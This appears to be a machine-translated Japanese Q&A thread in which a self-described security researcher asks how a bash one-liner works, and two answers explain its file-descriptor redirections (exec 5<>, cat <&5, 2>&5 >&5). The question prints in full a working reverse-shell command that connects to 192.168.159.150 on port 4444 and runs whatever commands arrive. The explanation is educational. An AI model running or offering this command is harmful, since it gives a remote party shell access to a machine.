このコマンドリダイレクトはどのように機能しますか?

このコマンドリダイレクトはどのように機能しますか?

セキュリティ調査を行っていますが、次のコードがUnixベースのオペレーティングシステムでどのように機能するかを知りたいと思います。

exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done

私は完全に知っていますこのコードは実行します(つまり、ポート4444を介して192.168.159.150のリバースシェルを設定します)、次の部分が何をしているのかわかりません。

  • exec 5<>
  • cat <&5
  • 2>&5 >&5

全体的に、これがどのように組み合わされてシェルを生成するかがわかります。

誰もがこれを説明するのに役立ちますか、それを理解するための正しい方向を教えてください。

ありがとう

答え1

クイック概要:

exec 5<>読み書きするために新しいファイルハンドルを開き、名前を付けます。5

cat <&5新しく開いたファイルハンドルから読み込む

2>&5 >&52ファイルハンドル(stderr)とファイルハンドル(stdout)の出力を1ファイルハンドルにリダイレクトします5。この場合、2番目のリダイレクトではファイルハンドル番号が指定されていないため1暗黙的です。

答え2

ご質問の一部への回答が完了しました。ここ

しかし、

  1. これは、番号5の新しいファイル記述子を定義します。 0はSTDIN、1はSTDOUT、2はSTDERRファイル記述子です。
  2. TCP、IP 192.168.159.150、ポート4444を介して受信されるエコー情報
  3. STDERRとSTDOUTをファイルハンドラ5(ネットワークなど)に送信します。

関連情報